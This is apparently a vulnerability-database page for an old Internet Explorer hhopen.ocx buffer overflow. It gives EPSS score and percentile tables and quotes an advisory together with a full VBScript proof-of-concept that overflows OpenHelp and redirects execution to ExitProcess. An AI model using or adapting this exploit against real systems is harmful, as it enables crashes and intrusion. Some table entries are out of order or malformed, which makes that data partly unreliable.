CVE-1999-1577 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	13.53%	–	–
2022-04-03	–	–	13.53%	–	–
2022-07-17	–	–	13.53%	–	–
2023-03-12	–	–	–	0.38%	–
2023-08-13	–	–	–	0.54%	–
2023-09-10	–	–	–	0.54%	–
2024-02-11	–	–	–	0.54%	–
2024-03-31	–	–	–	0.5%	–
2024-06-02	–	–	–	0.5%	–
2024-06-16	–	–	–	0.5%	–
2024-12-22	–	–	–	0.5%	–
2025-02-16	–	–	–	0.5%	–
2025-01-19	–	–	–	0.5%	–
2025-02-16	–	–	–	0.5%	–
2025-03-18	–	–	–	–	27.46%
2025-04-10	–	–	–	–	30.69%
2025-04-10	–	–	–	–	30.69,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	91%
2022-04-03	95%
2022-07-17	96%
2023-03-12	69%
2023-08-13	74%
2023-09-10	75%
2024-02-11	77%
2024-03-31	76%
2024-06-02	76%
2024-06-16	77%
2024-12-22	76%
2025-02-16	77%
2025-01-19	76%
2025-02-16	77%
2025-03-18	96%
2025-04-10	96%
2025-04-10	96%

Microsoft Internet Explorer 5.0 for Windows 2000/Windows 95/Windows 98/Windows NT 4/Internet Explorer 4.0.1 for Windows 98/Windows NT 4.0 hhopen OLE Control Buffer Overflow Vulnerability source: https://www.securityfocus.com/bid/669/info There is a buffer overflow in the 1.0.0.1 version of the hhopen OLE control (hhopen.ocx) that ships with some versions of Internet Explorer. This control is marked 'Safe for Scripting' . Arbitrary commands may be executed if the OLE control is run in a malicious manner. HHOPEN: This control is a little more difficult to exploit, as the RET address is in the middle of the string, and once again there is no easy way to RET to our code, so I have RET'd to ExitProcess directly instead. In this case, OpenHelp is the vulnerable method, and the exploit is possible when the method is called with a valid help file, and a long Help Section. <object classid="clsid:130D7743-5F5A-11D1-B676-00A0C9697233" id="hhopen"></OBJECT> <script language="vbscript"><!-- msgbox("hhopen OLE Control Module Buffer Overrun" + Chr(10) + "Written By Shane Hird") expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 'Where the RET address appears to be, RET to ExitProcess (BFF8D4CA) expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191) 'Extra padding to trigger the overrun expstr = expstr + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA" 'Call exploitable method, note the valid help file hhopen.OpenHelp "Winhlp32.hlp", expstr --></script>